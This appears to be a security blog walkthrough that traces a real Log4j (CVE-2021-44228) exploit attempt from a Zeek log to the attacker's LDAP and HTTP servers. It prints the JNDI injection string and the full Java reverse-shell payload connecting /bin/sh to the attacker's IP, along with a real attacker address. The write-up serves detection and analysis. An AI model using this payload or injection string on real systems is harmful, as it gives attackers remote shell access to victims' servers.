How to View a Log4j Payload Using ldapsearch
Log4j received quite a bit of attention over the past few weeks. The vulnerability is incredibly easy to exploit, requires no human interaction, and has the ability to execute any payload a malicious actor injects. But how does it retrieve the payload? What does the JNDI ${jndi:ldap://185.25.51.48:1389/a}
string do?
Let’s explore these questions by looking at a real world log4j exploit attempt. These are the actual IP address and exploit code from a real attempt to exploit the log4j vulnerability on my lab network.
Detecting a Real World log4j Exploit Attempt
I’m using the Zeek CVE-2021-44228 log4j package to detect log4j exploits on my lab network. In this example, Zeek detected a log4j event and logged the attempt. The uri
field contains the IP address and port of the server hosting the log4j payload uri: 185.25.51.48:1389/a
:
{ [-]
_path: log4j
_write_ts: 2021-12-29T17:52:02.205801Z
http_uri: /
is_orig: true
matched_name: false
matched_value: true
method: GET
name: COOKIE
stem: 185.25.51.48:1389
target_host: 185.25.51.48
target_port: 1389
ts: 2021-12-29T17:52:02.205801Z
uri: 185.25.51.48:1389/a
value: ${jndi:ldap://185.25.51.48:1389/a}
}
Connecting to the LDAP Server Hosting the Payload
After determining the LDAP URL where the malicious payload is hosted, use the ldapsearch
command to retrieve the payload.
The -x
option enables anonymous authentication, and -H
specifics the LDAP URL retrieved from the Zeek log:
ldapsearch -x -H ldap://185.25.51.48:1389/a
Pay attention to the following attributes in the ldapsearch
output:
javaCodeBase: http://185.25.51.48:8000/
objectClass: javaNamingReference
javaFactory: Exploit
These lines indicate the payload location (http://185.25.51.48:8000/) and file (Exploit) to download.
Example output:
jemurray@shell:~$ ldapsearch -x -H ldap://185.25.51.48:1389/a
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
#
dn:
javaClassName: foo
javaCodeBase: http://185.25.51.48:8000/
objectClass: javaNamingReference
javaFactory: Exploit
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Viewing the Contents of the Website Hosting the Payload
The javaCodeBase
attribute contains the URL hosting the malicious payload. For this example, I want to download all files on the remote site by using -r
(recursive) option to wget
:
wget -r http://185.25.51.48:8000/
Example output:
jemurray@shell:~/log4j$ wget -r http://185.25.51.48:8000/
--2021-12-30 17:10:13-- http://185.25.51.48:8000/
Connecting to 185.25.51.48:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 953 [text/html]
Saving to: ‘185.25.51.48:8000/index.html’
185.25.51.48:8000/index.html 100%[====================================================================================>] 953 --.-KB/s in 0s
2021-12-30 17:10:13 (98.0 MB/s) - ‘185.25.51.48:8000/index.html’ saved [953/953]
...LOTS OF DELETED LINES GO HERE...
Here’s the contents of the website:
jemurray@shell:~/log4j/185.25.51.48:8000$ ls -al
total 76
drwxr-xr-x 7 jemurray jemurray 4096 Dec 30 17:32 .
drwxr-xr-x 3 jemurray jemurray 4096 Dec 30 17:43 ..
drwxr-xr-x 3 jemurray jemurray 4096 Dec 30 17:10 bin
-rw-r--r-- 1 jemurray jemurray 177 Dec 28 16:13 Dockerfile
-rw-r--r-- 1 jemurray jemurray 1361 Dec 30 08:11 Exploit.class
-rw-r--r-- 1 jemurray jemurray 1082 Dec 30 08:11 Exploit.java
drwxr-xr-x 7 jemurray jemurray 4096 Dec 30 17:10 .git
-rw-r--r-- 1 jemurray jemurray 23 Dec 28 16:13 .gitignore
-rw-r--r-- 1 jemurray jemurray 953 Dec 30 17:10 index.html
drwxr-xr-x 8 jemurray jemurray 4096 Dec 30 17:10 jdk1.8.0_20
-rw-r--r-- 1 jemurray jemurray 4208 Dec 28 16:13 poc.py
-rw-r--r-- 1 jemurray jemurray 4239 Dec 28 16:13 README.md
-rw-r--r-- 1 jemurray jemurray 18 Dec 28 16:13 requirements.txt
drwxr-xr-x 2 jemurray jemurray 4096 Dec 30 17:10 target
-rw-r--r-- 1 jemurray jemurray 4096 Dec 28 16:20 ._ubnfilel.txt
-rw-r--r-- 1 jemurray jemurray 1109 Dec 28 16:20 ubnfilel.txt
drwxr-xr-x 4 jemurray jemurray 4096 Dec 30 17:10 vulnerable-application
Examining the Exploit Code
The following attributes from the JNDI URL, tell the vulnerable system to download the Exploit.class
file:
objectClass: javaNamingReference
javaFactory: Exploit
Within the remote directory there is a corresponding file matching the javaFactory
attribute:
jemurray@shell:~/log4j/185.25.51.48:8000$ ls -al Exploit.class
-rw-r--r-- 1 jemurray jemurray 1361 Dec 30 08:11 Exploit.class
jemurray@shell:~/log4j/185.25.51.48:8000$ file Exploit.class
Exploit.class: compiled Java class data, version 52.0 (Java 1.8)
The source code for the class file is in the same directory:
jemurray@shell:~/log4j/185.25.51.48:8000$ more Exploit.java
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="185.25.51.48";
int port=9001;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
Remote Shell
The code above makes a connection to port 9100
on the remote server and connects it to /bin/sh
within the compromised server. We can use the nc
command to simulate what the exploit code is doing:
nc 185.25.51.48 9001
Example Output:
jemurray@shell:~/log4j/185.25.51.48:8000$ nc 185.25.51.48 9001
^C
jemurray@shell:~/log4j/185.25.51.48:8000$ nc 185.25.51.48 9001
(UNKNOWN) [185.25.51.48] 9001 (?) : Connection refused
jemurray@shell:~/log4j/185.25.51.48:8000$ nc 185.25.51.48 9001
(UNKNOWN) [185.25.51.48] 9001 (?) : Connection refused
jemurray@shell:~/log4j/185.25.51.48:8000$ nc 185.25.51.48 9001
(UNKNOWN) [185.25.51.48] 9001 (?) : Connection refused
jemurray@shell:~/log4j/185.25.51.48:8000$ nc 185.25.51.48 9001
(UNKNOWN) [185.25.51.48] 9001 (?) : Connection refused
I was able to connect to the remote server, but too quickly pressed ctrl-c
. Subsequent connections failed. It looks like the remote server was only capable of a single connection. I should have waited for a while to see if the malicious actor would attempt to execute commands. Since we were running nc
, all their commands would have been echo’ed back to us.